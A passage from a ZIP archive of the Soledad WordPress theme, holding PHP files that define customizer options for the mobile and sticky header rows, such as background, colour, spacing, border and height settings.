PK     N\c|    N  inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.phpnu [        <?php
$mobile_row   = 'topbar';
$name         = 'Mobile Top Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     N\J    N  inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.phpnu [        <?php
$mobile_row   = 'midbar';
$name         = 'Mobile Mid Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     N\:}*    Q  inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.phpnu [        <?php
$mobile_row   = 'bottombar';
$name         = 'Mobile Bottom Bar';
$section_name = "penci_header_mobile_{$mobile_row}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_middle_column",
	'default'   => 'enable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'       => "penci_header_mobile_{$mobile_row}_sticky_setting",
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'enable'  => 'Yes',
		'disable' => 'No',
	],
	'label'    => esc_html__( 'Sticky This Row on Scroll Down?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_sticky_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'choices'   => [
		'alpha' => true,
	],
	'label'     => $name . __( ' Background Color on Sticky', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_{$mobile_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'settings'  => "penci_header_mobile_{$mobile_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     N\vpy    N  inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.phpnu [        <?php
$sticky_row   = 'bottom';
$name         = 'Sticky Bottom';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'settings'  => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\fR  R  K  inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.phpnu [        <?php
$sticky_row   = 'mid';
$name         = 'Sticky Middle';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
